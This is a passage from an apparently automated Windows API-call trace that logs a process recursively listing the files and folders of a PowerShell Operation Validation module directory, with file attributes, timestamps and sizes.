cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 0 [0193.466] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.466] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0193.467] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0193.467] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x458a6d8 [0193.467] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531b40 [0193.468] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.468] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 1 [0193.468] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 0 [0193.468] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0193.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0193.468] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0193.468] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0193.468] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0193.468] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0193.471] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psd1", cAlternateFileName="")) returned 1 [0193.471] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psm1", cAlternateFileName="")) returned 1 [0193.471] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OperationValidationResources.psd1", cAlternateFileName="")) returned 1 [0193.471] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 1 [0193.471] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x458a6d8 [0193.471] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*", lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531700 [0193.472] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.472] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Tests.ps1", cAlternateFileName="")) returned 1 [0193.472] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0193.472] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45446b8 [0193.472] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*", lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531b40 [0193.472] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.473] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example1.Diagnostics", cAlternateFileName="EXAMPL~1.DIA")) returned 1 [0193.473] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0193.473] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*", lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531bc0 [0193.473] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f987, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.474] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0193.474] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.475] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*", lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.476] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.476] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 1 [0193.476] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0193.476] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*", lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531cc0 [0193.476] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.476] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0193.477] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0193.477] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0193.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0193.477] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0 [0193.477] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.477] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0193.477] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0193.477] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0193.477] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0193.477] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0193.478] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*", lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531740 [0193.478] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.478] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0193.478] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.478] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\*", lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531bc0 [0193.478] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.478] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0193.479] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0193.479] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\*", lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531880 [0193.479] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7122ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.479] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0193.479] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45e9760 [0193.479] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, 